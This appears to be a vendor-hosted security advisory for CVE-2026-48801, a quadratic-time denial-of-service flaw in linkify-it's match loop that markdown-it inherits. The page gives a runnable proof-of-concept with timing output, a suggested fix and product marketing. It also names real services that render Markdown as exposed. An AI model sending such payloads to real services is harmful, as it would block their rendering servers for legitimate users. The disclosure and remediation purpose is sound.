Summary
LinkifyIt#match scan loop has quadratic algorithmic complexity
LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "[email protected]\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time, textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited:
8e887d5bace3f5b09b1d1f70492fa0364ef1793d(v5.0.0) - Vulnerable function:
LinkifyIt.prototype.match,index.mjs:528-554 - Re-scan call sites inside
test():index.mjs:444(fuzzy host search),:448(fuzzy link match),:467(fuzzy email match) - Transitive consumer:
markdown-it(~21.6M weekly npm DLs) callslinkify.match()atlib/rules_core/linkify.mjs:57whenlinkify:true - All versions affected, the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
The loop iterates O(N) times (once per match). Each iteration:
tail.slice()re-allocates a string of length|text| - shift, O(N) per iterationthis.test(tail)runs three unanchored regex searches over the full newtail:
// index.mjs:444, full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448, full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467, full-tail match
me = text.match(this.re.email_fuzzy)
Total cost: Σ(N - i*c) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
That branch uses a g-flag RegExp and advances lastIndex, linear. The fuzzy branches don't follow this pattern.
Proof of concept
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = '[email protected]\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
Measured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
Doubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
npm install [email protected]
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = '[email protected] '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
n=1000 bytes=8000 md.render=45ms
n=2000 bytes=16000 md.render=171ms
n=4000 bytes=32000 md.render=672ms
n=8000 bytes=64000 md.render=2636ms
Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().
Suggested remediation
The fix is algorithmic, convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:
- Add the
gflag toemail_fuzzy,link_fuzzy,link_no_ip_fuzzy,host_fuzzy_testinlib/re.mjs - Rewrite
test()(or addtestAt(text, pos)) so fuzzy branches setre.lastIndex = posand callre.exec(text)instead oftext.match()/text.search()on a sliced tail - In
match(), droptail = tail.slice(...)entirely, advance aposoffset instead
The schema branch at index.mjs:428-440 is already structured this way, it's the in-repo precedent for the fix.
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
const result = []
let pos = 0
while (this.testAt(text, pos)) {
result.push(createMatch(this, 0))
pos = this.__last_index__
}
return result.length ? result : null
}
Total cost becomes O(N): each character scanned at most once per regex across the whole loop.
Duplicate-risk analysis
- Zero GHSAs on
linkify-it(gh api /repos/markdown-it/linkify-it/security-advisories→[]) - Zero OSV entries (
api.osv.dev/v1/query→{}) - markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
Note to maintainers
Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.
Impact
- Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
- No confidentiality or integrity impact.
Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path, Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it, receives a post/comment containing 64 KB of "[email protected] ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.
A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-48801? CVE-2026-48801 is a high-severity inefficient regular expression (ReDoS) vulnerability in linkify-it (npm), affecting versions <= 5.0.0. It is fixed in 5.0.1. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
- Which versions of linkify-it are affected by CVE-2026-48801? linkify-it (npm) versions <= 5.0.0 is affected.
- Is there a fix for CVE-2026-48801? Yes. CVE-2026-48801 is fixed in 5.0.1. Upgrade to this version or later.
- Is CVE-2026-48801 exploitable, and should I be worried? Whether CVE-2026-48801 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48801 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48801? Upgrade
linkify-itto 5.0.1 or later.